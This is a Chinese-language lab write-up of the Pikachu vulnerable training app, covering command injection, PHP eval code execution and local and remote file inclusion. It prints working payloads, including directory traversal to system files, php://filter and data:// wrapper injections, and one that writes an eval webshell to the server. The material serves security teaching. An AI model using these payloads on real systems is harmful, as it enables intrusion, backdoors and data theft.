Day4-pikachu RCE 与File Inclusion
RCE(Remote Code Execution,远程代码执行)指攻击者能够从远程网络位置,在目标系统(如服务器、电脑、物联网设备)上执行任意代码或命令的严重安全漏洞。其危害性极高,相当于攻击者直接获得了该系统的控制权,可以窃取数据、植入后门、破坏系统或将其作为跳板攻击内网。此类漏洞通常源于软件中对用户输入验证不严(如反序列化漏洞、SQL注入、模板注入等)或使用了存在缺陷的组件。防范RCE需要严
一、RCE
RCE(Remote Code Execution,远程代码执行)指攻击者能够从远程网络位置,在目标系统(如服务器、电脑、物联网设备)上执行任意代码或命令的严重安全漏洞。其危害性极高,相当于攻击者直接获得了该系统的控制权,可以窃取数据、植入后门、破坏系统或将其作为跳板攻击内网。此类漏洞通常源于软件中对用户输入验证不严(如反序列化漏洞、SQL注入、模板注入等)或使用了存在缺陷的组件。防范RCE需要严格过滤输入、及时更新补丁并进行安全代码审计。简单来说,RCE就是让黑客能“远程操控”你的电脑或服务器的致命漏洞。
1.exec "ping"
远程命令执行
可正常使用ping命令


尝试执行其他命令


分析源码,用户通过表单提交一个IP地址,然后程序使用shell_exec()函数执行ping命令,并将用户输入的IP地址直接拼接到命令中。如果用户输入不仅仅是一个IP地址,而是包含了其他命令,那么就会造成命令注入。
2.exec "evel"
看到 "eval" 这个关键字,就说明这是一个可以让用户输入代码并执行的漏洞点。
eval() 函数会将其参数作为 PHP 代码来执行
使用eval("echo 'Hello World';");

system('whoami'); - 执行系统命令phpinfo();

使用phpinfo();- 查看PHP信息页面phpinfo();

var_dump(get_defined_functions()); - 查看可用函数

分析源码
直接执行用户输入:eval($_POST['txt']) 将用户输入的字符串直接当作PHP代码执行。
错误处理不当:
1️⃣@ 运算符抑制了所有错误/警告信息
2️⃣只有 eval() 返回 false(执行失败)时才显示提示信息
3️⃣如果 eval() 执行成功,没有任何提示
二、File Inclusion
文件包含漏洞(File Inclusion)是指Web应用程序在包含文件时未严格验证用户可控的参数,导致攻击者能够包含并执行任意文件。本地文件包含(LFI)允许攻击者包含服务器本地的文件(如系统配置文件、日志文件等),常用来读取敏感信息或结合文件上传执行恶意代码;远程文件包含(RFI)则允许攻击者包含远程服务器上的恶意文件(如存放在攻击者控制站点上的Webshell),直接实现远程代码执行。两者都源于程序动态包含文件时未对用户输入进行过滤,使得攻击者可通过目录遍历、特殊协议(如php://input、phar://)或远程URL注入恶意内容,严重时可导致服务器完全沦陷。
1.File Inclusion(local)
可以发现,每次选择不同选项提交,filename这个参数在不断变化

确实可以遍历目录
使用相对路径..\..\..\..\windows\win.ini成功
使用绝对路径C:/Windows/win.ini,失败
../../../../../Windows/System32/drivers/etc/hosts 读取成功

?filename=../fi_local.php 读取fi_local.php源码文件失败,直接了执行php代码

使用伪协议?filename=php://filter/convert.base64-encode/resource=../fi_local.php使用读取PHP源码失败,可能由于某种安全设置,伪协议被禁用。

直接分析后台源码,用户通过GET参数filename传递一个文件名,然后程序会在include目录下包含该文件。但是,这里没有对filename参数进行任何过滤或检查,因此攻击者可以利用目录遍历来包含任意文件。
根据源码分析,包含文件时使用了 include "include/$filename";,这意味着我们传入的 filename 参数会被拼接到 include/ 目录后面

2.File Inclusion(remote)
首先在php配置文件中将allow_url_include打开


使用../../../../../Windows/System32/drivers/etc/hosts 读取文件失败
使用data://协议filename=data://text/plain,<?php phpinfo();?>可以成功访问
根据成功的 payload,我们不需要跳出 include 目录,直接使用 data 协议即可。所以我们的包含路径是直接包含 include/data://...,也就是说,传入的 filename 参数会直接拼接在 "include/" 后面
?filename=data://text/plain,<?php system('dir');?>都可正常访问

?filename=data://text/plain,<?php file_put_contents('shell.php', '<?php eval($_POST[cmd]);?>'); echo 'OK';?> 直接写入webshell成功

使用蚁剑成功连接

在本地使用python开启http服务,使用?filename=http://localhost:8000/可成功访问

使用php://filter/convert.base64-encode/resource=fi_remote.php成功读取php源码

php://input 可以读取POST 请求体中的数据,在文件包含漏洞中,若allow_url_include=On,则include("php://input")会直接执行 POST 中的 PHP 代码,是代码执行的核心手段。

本地文件包含(LFI):利用 include/require 等函数对本地文件路径的过滤缺陷,通过 ../ 路径穿越,读取服务器本地敏感文件(如系统配置、脚本源码)或执行自身上传的恶意文件,依赖文件系统权限,危害聚焦本地信息泄露或代码执行;
远程文件包含(RFI):需 PHP 开启 allow_url_fopen 和 allow_url_include,攻击者通过控制参数,让服务器加载远程服务器的恶意文件(如 http:// 协议指向的脚本),甚至借助 data:// php://input 等协议直接注入代码,突破本地范围,可远程植入后门,危害更具攻击性。
两者防御逻辑不同:LFI 需限制路径、采用白名单;RFI 需关闭远程包含配置,阻断远程资源调用。

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。
更多推荐
所有评论(0)